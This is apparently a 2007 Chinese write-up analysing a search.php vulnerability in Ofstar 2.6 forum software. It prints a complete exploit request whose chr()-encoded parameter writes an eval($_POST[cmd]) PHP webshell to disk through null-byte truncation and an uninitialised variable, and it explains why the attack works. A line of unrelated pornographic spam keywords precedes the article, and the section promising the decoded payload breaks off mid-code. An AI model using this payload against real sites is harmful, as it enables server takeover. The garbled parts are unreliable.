欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Ofsatr 2.6搜索漏洞的簡單分析

 更新時間:2007年01月16日 00:00:00   作者:  
看到網上有類似的工具,但分析的文章卻沒找到,聽小黑說黑客手冊上有,可惜偶沒有雜志,所以就抓包然后看下代碼,大致分析了一下。這個漏洞很巧妙、也很經典 :)   

GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop  
en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?〉 HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*  
Accept-Language: zh-cn  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)  
Host: 127.0.0.1   
  這是我抓包的文件,從抓包的文件里可以看出有三個變量:$keyword、$cachefile、$treadinfo。其中$keyword可以為任意關鍵字;$cachefile必須為一PHP文件,這個就是我們的PHP SHELL后面緊跟著%2500既為%00截斷字符;$treadinfo就是生成木馬的代碼,我沒解碼,但猜測是把一句話木馬寫到另一個PHP文件的PHP代碼。  
  PS:$treadinfo內容解碼如下:   
&treadinfo=〈?fputs(fop   
  好了以上就是抓包得到的分析 讓我們看下seach.PHP的代碼吧,找出漏洞具體在哪兒。  
  第N行代碼如下:    
$cachefile=rawurldecode($cachefile);   

  rawurldecode 函數(shù)是對已編碼的 URL 字符串進行解碼,分別對$keyword和$cachefile進行URL 字符串進行解碼。rawurldecode這個函數(shù)也是關鍵之一,%00 經過rawurldecode的包裝后,在〈PHP5.0下可以饒過GPC=ON起到截斷作用。  
  第N+N行代碼如下    
.....................   
$keywordarray=explode("│",$keyword);   
$keycount=count($keywordarray);   
if($sch_area=="C"){   
include'./require/schall.php';   
}elseif($sch_area=="A"){   
for ( $j = 0; $j 〈 $keycount; $j++){   
  $keywordarray[$j].="|";/*搜索作者準確匹配*/   
}   
include'./require/schpart.php';   
}else{   
include'./require/schpart.php';   
}   
if (!file_exists("userdata/cache/$cachefile.txt")){   
showmsg("沒 有 您 要 查 找 的 內 容 〈br〉〈br〉〈br〉〈a href='search.php'〉繼 續(xù) 搜 索〈/a〉〈/li〉〈/ul〉");   
}   
...............................   
  這里調用了schall.php或schpart.php文件,我們在看這個兩個文件schall.php和schpart.php文件最后一行代碼是:  
if($treadinfo)   
writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab");   
  所以無論調用哪個文件都可以把treadinfo的內容寫入緩存文件,因為變量$treadinfo沒初始化,可以自定義SHELL代碼,而$cachefile又可以自定義一個PHP文件,后面用%00截斷TXT。所以這行代碼就是把木馬寫到PHP文件中。  
  到此漏洞產生的大致過程已經比較明確了 由于本人在網吧看的代碼,也沒具體測試。其中有些細節(jié)沒指出,如有錯誤請指出。也非常佩服漏洞發(fā)現(xiàn)者SAIY的觀察力。確實是個非常經典的漏洞 :) 

相關文章

最新評論